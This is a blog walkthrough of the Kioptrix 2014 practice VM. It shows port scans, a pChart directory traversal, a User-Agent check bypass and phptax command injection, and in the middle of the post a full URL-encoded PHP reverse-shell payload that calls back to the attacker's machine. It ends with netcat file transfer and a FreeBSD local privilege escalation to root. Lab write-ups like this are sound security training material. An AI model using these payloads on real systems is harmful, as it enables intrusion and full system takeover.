Thursday, May 22, 2014

Kioptrix 2014 - Walktrough

loneferret released a new Kioptrix VM after about two years. I think it became really nice, I enjoyed going through it, and getting root at the end. You can download it from here: Here comes my solution.

Step 1: Find the VM on the local LAN.
I used a quick portscan on my entire LAN to identify the VM:

root@kali:~# nmap -P0
Nmap scan report for
Host is up (0.00037s latency).
Not shown: 997 filtered ports
22/tcp   closed ssh
80/tcp   open   http
8080/tcp open   http-proxy
MAC Address: 00:0C:29:0D:2E:C0 (VMware)

Step 2: Port scan
As I had time, and run this on my local computer, I decided to go for a really extensive scan:

root@kali:~# nmap -sS -A -p1-65535

Starting Nmap 6.40 ( ) at 2014-05-22 16:19 EDT
Nmap scan report for
Host is up (0.00065s latency).
Not shown: 65532 filtered ports
22/tcp   closed ssh
80/tcp   open   http    Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8)
| http-methods: Potentially risky methods: TRACE
|_http-title: Site doesn't have a title (text/html).
8080/tcp open   http    Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8)
|_http-open-proxy: ERROR: Script execution failed (use -d to debug)
|_http-title: 403 Forbidden
MAC Address: 00:0C:29:0D:2E:C0 (VMware)
Device type: general purpose|specialized|router|firewall|WAP|broadband router
Running (JUST GUESSING): FreeBSD 9.X|7.X|8.X (94%), VMware ESX Server 4.X (92%), Juniper embedded (90%), IBM AIX 5.X (90%), IronPort AsyncOS 6.X (89%), Papouch embedded (89%), AirSpan embedded (89%), Cisco embedded (88%)
OS CPE: cpe:/o:freebsd:freebsd:9 cpe:/o:freebsd:freebsd:7 cpe:/o:freebsd:freebsd:8 cpe:/o:vmware:esxi:4.0:1 cpe:/h:juniper:m7i cpe:/o:ibm:aix:5 cpe:/o:ironport:asyncos:6 cpe:/h:cisco:epc3925
Aggressive OS guesses: FreeBSD 9.0-RELEASE (94%), FreeBSD 7.0-RELEASE - 9.0-RELEASE (93%), FreeBSD 7.0-RC1 (92%), FreeBSD 7.1-RELEASE (92%), VMware ESXi Server 4.0.1 (92%), FreeBSD 7.0-STABLE (91%), Juniper M7i router (90%), IBM AIX 5.3 (90%), IronPort C150 email security appliance (AsyncOS 6.5.3) (89%), Papouch TME Ethernet thermometer (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop

1   0.65 ms

OS and Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 199.47 seconds

Step 3: Web Application #1
As we see not much is open, and it's clear that we have a FreeBSD at the other side. I didn't dare to go for the SSH, so let's the HTTP ports. If we open the page at port 80, we got the default page of Apache, saying "It works". BUT! Let's have a closer look at the source:

It says "pChart 2.1.3". Of course, we have a public exploit for this: It says that the app has a nice directory traversal vulnerability, if we try t, it really works:

We get the contents of these files. I always try /etc/shadow, I really didn't expect it to work, and it really didn't, but you never know when someone runs the webserver as root.

Step 4: Web application #2
If we go to port 8080, we got this, which is really disappointing.

So let's have a look on the downloaded Apache config file, it has a very important configuration at the end of the file:

SetEnvIf User-Agent ^Mozilla/4.0 Mozilla4_browser

<VirtualHost *:8080>
    DocumentRoot /usr/local/www/apache22/data2

<Directory "/usr/local/www/apache22/data2">
    Options Indexes FollowSymLinks
    AllowOverride All
    Order allow,deny
    Allow from env=Mozilla4_browser

It basically says, that you can access port 8080 only if you have a user agent starting with "Mozilla/4.0". I used the "User Agent Switcher" addon for Mozilla, what you can download from here:

After switching my user agent, I could access port 8080, and it was running the phptax web application.

and of course it also has its own public exploit: which allows remote command execution. This was a tricky part, cause it didn't work as easy as I expected. Simply running the examples, like reverse shell with netcat, didn't do anything. I found out its path, and it had to be specified exactly:;/usr/bin/nc -nvv 1234;&pdf=make

but even with this, the connection was always immediately terminated:

and if I tried to add the "-e /bin/sh" parameter for netcat it didn't even connected, it seems that the FreeBSD version of netcat doesn't have this feature.

I could however create files:;echo "<?php phpinfo() ?>" > a.php;&pdf=make

So I uploaded a reverse PHP shell, had to URL encode:;echo%20%22%3C?php%20set_time_limit%20%280%29;%20\%24VERSION%20=%20\%221.0\%22;%20\%24ip%20=%20\%22192.168.198.137\%22;%20\%24port%20=%201234;%20\%24chunk_size%20=%201400;%20\%24write_a%20=%20null;%20\%24error_a%20=%20null;%20\%24shell%20=%20\%22uname%20-a;%20w;%20id;%20/bin/sh%20-i\%22;%20\%24daemon%20=%200;%20\%24debug%20=%200;%20%20if%20%28function_exists%28\%22pcntl_fork\%22%29%29%20{%20%20\%24pid%20=%20pcntl_fork%28%29;%20%20%20%20if%20%28\%24pid%20==%20-1%29%20{%20%20%20printit%28\%22ERROR:%20Cant%20fork\%22%29;%20%20%20exit%281%29;%20%20}%20%20%20%20if%20%28\%24pid%29%20{%20%20%20exit%280%29;%20%20}%20%20%20if%20%28posix_setsid%28%29%20==%20-1%29%20{%20%20%20printit%28\%22Error:%20Cant%20setsid%28%29\%22%29;%20%20%20exit%281%29;%20%20}%20%20%20\%24daemon%20=%201;%20}%20else%20{%20%20printit%28\%22WARNING:%20Failed%20to%20daemonise.%20%20This%20is%20quite%20common%20and%20not%20fatal.\%22%29;%20}%20%20chdir%28\%22/\%22%29;%20%20umask%280%29;%20\%24sock%20=%20fsockopen%28\%24ip,%20\%24port,%20\%24errno,%20\%24errstr,%2030%29;%20if%20%28!\%24sock%29%20{%20%20printit%28\%22\%24errstr%20%28\%24errno%29\%22%29;%20%20exit%281%29;%20}%20%20\%24descriptorspec%20=%20array%28%20%20%20%200%20=%3E%20array%28\%22pipe\%22,%20\%22r\%22%29,%20%20%20%201%20=%3E%20array%28\%22pipe\%22,%20\%22w\%22%29,%20%20%20%202%20=%3E%20array%28\%22pipe\%22,%20\%22w\%22%29%20%29;%20%20\%24process%20=%20proc_open%28\%24shell,%20\%24descriptorspec,%20\%24pipes%29;%20%20if%20%28!is_resource%28\%24process%29%29%20{%20%20printit%28\%22ERROR:%20Cant%20spawn%20shell\%22%29;%20%20exit%281%29;%20}%20%20stream_set_blocking%28\%24pipes[0],%200%29;%20stream_set_blocking%28\%24pipes[1],%200%29;%20stream_set_blocking%28\%24pipes[2],%200%29;%20stream_set_blocking%28\%24sock,%200%29;%20%20printit%28\%22Successfully%20opened%20reverse%20shell%20to%20\%24ip:\%24port\%22%29;%20%20while%20%281%29%20{%20%20if%20%28feof%28\%24sock%29%29%20{%20%20%20printit%28\%22ERROR:%20Shell%20connection%20terminated\%22%29;%20%20%20break;%20%20}%20%20%20if%20%28feof%28\%24pipes[1]%29%29%20{%20%20%20printit%28\%22ERROR:%20Shell%20process%20terminated\%22%29;%20%20%20break;%20%20}%20%20%20\%24read_a%20=%20array%28\%24sock,%20\%24pipes[1],%20\%24pipes[2]%29;%20%20\%24num_changed_sockets%20=%20stream_select%28\%24read_a,%20\%24write_a,%20\%24error_a,%20null%29;%20%20%20if%20%28in_array%28\%24sock,%20\%24read_a%29%29%20{%20%20%20if%20%28\%24debug%29%20printit%28\%22SOCK%20READ\%22%29;%20%20%20\%24input%20=%20fread%28\%24sock,%20\%24chunk_size%29;%20%20%20if%20%28\%24debug%29%20printit%28\%22SOCK:%20\%24input\%22%29;%20%20%20fwrite%28\%24pipes[0],%20\%24input%29;%20%20}%20%20%20if%20%28in_array%28\%24pipes[1],%20\%24read_a%29%29%20{%20%20%20if%20%28\%24debug%29%20printit%28\%22STDOUT%20READ\%22%29;%20%20%20\%24input%20=%20fread%28\%24pipes[1],%20\%24chunk_size%29;%20%20%20if%20%28\%24debug%29%20printit%28\%22STDOUT:%20\%24input\%22%29;%20%20%20fwrite%28\%24sock,%20\%24input%29;%20%20}%20%20%20if%20%28in_array%28\%24pipes[2],%20\%24read_a%29%29%20{%20%20%20if%20%28\%24debug%29%20printit%28\%22STDERR%20READ\%22%29;%20%20%20\%24input%20=%20fread%28\%24pipes[2],%20\%24chunk_size%29;%20%20%20if%20%28\%24debug%29%20printit%28\%22STDERR:%20\%24input\%22%29;%20%20%20fwrite%28\%24sock,%20\%24input%29;%20%20}%20}%20%20fclose%28\%24sock%29;%20fclose%28\%24pipes[0]%29;%20fclose%28\%24pipes[1]%29;%20fclose%28\%24pipes[2]%29;%20proc_close%28\%24process%29;%20%20function%20printit%20%28\%24string%29%20{%20%20if%20%28!\%24daemon%29%20{%20%20%20print%20\%22\%24string\n\%22;%20%20}%20}%20%20?%3E%22%20%3E%20b.php;&pdf=make

Started a listener on my attacker machine, and got shell:

root@kali:~# nc -lnp 1234
FreeBSD kioptrix2014 9.0-RELEASE FreeBSD 9.0-RELEASE #0: Tue Jan  3 07:46:30 UTC 2012  amd64
 3:56PM  up 37 mins, 0 users, load averages: 0.00, 0.01, 0.01
USER       TTY      FROM                      LOGIN@  IDLE WHAT
uid=80(www) gid=80(www) groups=80(www)
sh: can't access tty; job control turned off
$ id
uid=80(www) gid=80(www) groups=80(www)

Step5: Privilege escalation
Probably this was the easiest step for me, quick search for an exploit for FreeBSD 9.0 got me one:

root@kali:~# searchsploit freebsd 9.0
 Description                                                                 Path
--------------------------------------------------------------------------- -------------------------
FreeBSD 9.0-9.1 mmap/ptrace Privilege Esclation Exploit                     /freebsd/local/26368.c
root@kali:~# locate 26368.c

As wget wasn't available for me on FreeBSD, I moved the file with ncat.

root@kali:~/kio2014# nc -lvp 1111 < priv.c 
nc: listening on :: 1111 ...
nc: listening on 1111 ...
nc: connect to 1111 from ( 31287 [31287]
root@kali:~/kio2014# ls -l priv.c 
-rwxr-xr-x 1 root root 2215 May 22 15:51 priv.c


$ cd /tmp
$ nc -n 1111 > priv.c   
$ ls -l priv.c
-rw-rw-rw-  1 www  wheel  2215 May 22 16:01 priv.c

After compiling, and running it, I got root!

$ gcc priv.c -o priv
$ ls -l
total 40
-rw-------  1 www    wheel     0 May 22 15:19 apraLsYg5
srwxrwxrwx  1 mysql  wheel     0 May 22 15:19 mysql.sock
-rwxrwxrwx  1 www    wheel  8495 May 22 16:01 priv
-rw-rw-rw-  1 www    wheel  2215 May 22 16:01 priv.c
drwxr-xr-x  2 root   wheel   512 Oct  7  2013 vmware-fonts0
$ ./priv
uid=0(root) gid=0(wheel) egid=80(www) groups=80(www)

That's All folks!